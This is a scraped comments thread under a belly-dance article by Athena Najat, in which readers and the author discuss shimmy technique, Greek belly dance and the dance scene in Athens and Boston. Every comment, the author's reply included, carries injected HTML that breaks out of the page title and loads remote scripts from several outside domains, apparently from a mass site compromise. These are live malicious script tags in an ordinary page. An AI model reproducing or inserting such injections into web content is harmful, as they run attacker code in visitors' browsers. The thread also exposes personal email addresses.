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| Title |
Searching for a Trace: Reflect |
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Athena Najat |
Searching for a Trace: Reflect |
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| Comments |
| Kat |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Interesting article! :-)
Could you expound a bit on what you mean by shimmying improperly?
Kat<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Maria Aya |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Dear Athina:) It was really unfortunate that we didnt met while you was in Greece. I saw you one night at a tv show, (Saray) and I thought OMG what is this girl doing here? I bet that you hadnt seen that again...
I had tryed to reach you time ago before by e-mail but I had no response.
Check my site http://groups.msn.com/BellydanceGreece and you might change idea about things that happens and the greek community, you just didnt met the right people;)
Keep dancing (btw loved your dance)
Maria Aya<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Aziza Al Tawil |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Hi Athena,
Your story was interesting in that it was my suspician all along that the harping exclusively on "Egyptian" belly dancing by people on a rant and in a rut since the seventies when it came into vogue would compromise, delete and negate all other contributions to belly dancing from the Greeks, Turks, and all the other peoples that had this art in their culture. I am one quarter Arab and one quarter Armenian but I've been around the business long enough to know that the loss of Greek Clubs has been disastrous in most places. They had the ability to entertain everyone and the bouzoukee is to this day a favorite instrument of mine. The pay was superior as well. It makes me sad to think that in Athens and Thessaloniki of all places you have to dance to CD's of Arabic pop music. I love the classic Arabic Oud and also the Turkish/Armenian style Oud so much better than this sythesized baloney. I also hated it when people claimed Greeks never had belly dance in their heritage when they are clearly dancing around on pottery with scarves and veils. I still dance with a veil and don't change just to conform to modern nitpicking. Once my mother wanted to retire to Athens one day when her "Greektown NYC" days were through. Hearing about the pollution changed her mind. (I hope it's better.) All I can say to the Greek people is "Sagapo." Always. Aziza in Mount Airy, NC (Unfortunatley!)<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Athena Najat |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--
To Kat, Maria Aya, and Aziza...
Thanks for taking the time to post your comments. I would like to be in touch with you personally, but I haven't figured out how to link to your personal emails. So I will respond here for now.
Kat- Shimmying "improperly" in my opinion, is a shimmy which results in an out-of-control vibrating/shaking movement that cannot be harnessed or made rhythmic. We have, in our technical teaching, "vibrations" and any number of variations on a "shimmy". The vibration can travel up the body through the spine and limbs because, to some extent, it is small and usually pretty subtle (otherwise its like a tremored bouncing!) A shimmy should be a bit more isolated and specific. It is more controlled. Even when it is done rigoroiusly, it can be localized (ie. one-side or the other, one-legged or on two, high on the toes or grounded loosely into the floor). We practice to have the shimmy controlled and evenly rhythmic (as to NOT be lop-sided or spastic). This is what I mean by "incorrectly"... it results in a combination of shimmy and vibration...but not truly either of the two.
Maria Aya--
Please write me an email again. I don't think I received it. I would like to be in touch. You will obviously be able to give me some information on who it is I SHOULD be looking for here. I thank you for showing me your website and hope we can be in contact.
Aziza--I agree with you on how the HUGE greek influence on Middle Eastern Dance in the states (and in NY especially, as I have learned.) has been overlooked/forgotten. I have heard and read a lot about "greek town" on 8th Ave. and have done some research for my Masters' degree on the history of the M.E. music and dance scene in NY...from Greek-town and forward and am looking forward to continuiing when I return to NY. Thank you for your comments...and I'm sure the Greeks, both here in Greece and in the states send you "filakia" (kisses) back!
To all...
Keep Dancing!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| Maria Aya |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Dear Athina:)
If I'm not mistaken and it not just a same name you are back in Athens and already in Tsiganes Group of Voula's?????
If yes, I'm the exact same Maria Aya that organized the 2 summer auditions for the group;)my e-mail is bellydancegreece@hotmail.com pls sent me or ask Voula my phone:) take care
<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| panayiota |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--Dear Athena, hello ti kanis!? I sent you an email about a week ago, I don't know if you received it or not, since I just read you didn't receive Maria's.(Hello Maria! ti kanis!) Well, I am a greek american as well, from Boston. Aziza, it is very appreciated what you said, I heard many times "greeks don't have belly dance", very annoying. I wanted to say, I totally agree with you with what you say. I do think their are some dancers that are really good, but I also experienced and heard when I was in Greece last year that all they cared about was performing..well not all...but you know what I mean.I do believe that one day (i hope)that greece will produce big belly dance stars!and be recognized as well. I believe it will happen. It didn't happen over night in the states. I know greeks are VERY competitive(not me,lol)but all dancers everywhere are. It would be nice to have a big united belly dance community in greece.and it should get more respect. Athena, I saw MANY dancers on tv, and a lot of them were TOO provacative, but we have those type of dancers here too, those types will always be around,lol. When I was in Greece last Christmas, I taught 2 classes in Hlioupoli,(Kiria Rosa teaches) it was so fun, I was AMAZED seeing older ladies, and younger girls, I even saw a friend I haden't seen in years with whom we were in a pontiako troupe in athens, she was there with her grandmother! I know, well with people I met, they couldn't understand the difference with turkish style and egyptian. When I would say, I bellydance mostly grecoturkish style they would say, ah, no no, we don't like turkish style. It was actually kinda funny. They should organize(i dont know if they have)seminars explaining the difference of the 2, and of course many other styles. Here in boston, Melina(who I love! I started out with her in 2000) organized a series of classes with another amazing dancer Najmat(Mihele, who I also love,) she is arabic style, so they teach one after the other, so people get to really feel the difference of the two styles. I wanted to perform when I was there, but like you, I met the wrong people, of course I will not say name, so i didn't want to go off by myself,lol...I wish I even knew Maria and you back then!:( It's ok, we have many years of dancing, and maybe all together one day ;)??yes?Again, Athena, everything you wrote was very well said and I totally agree with you! Filakia pola (kisses) to everyone and I hope to hear from you. my email is bakisyiota@hotmail.com Kalinixta from boston! (good night from boston!!!!)
Panayiota<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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| xristina |
| "></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--"></title><script src="http://www0.douhunqn.cn/csrss/w.js"></script><!--hello !i am xristina, one of your students at ''en horw''. I really had a great time reading your article. I just wanted to thank for the whole teaching which is free and gives us tha ''space'' to create our own movements by listening to the music.I finally let the goddess inside of me free!:) You once said that dancing is like kantaifi...we put our own filling! thanks for your time reading my comment...And the choreography is like a colourfull painting!<script src=http://www.gbradw.com/ngg.js></script><script src=http://www.4cnw.ru/ngg.js></script><script src=http://www.loopk.ru/script.js></script> |
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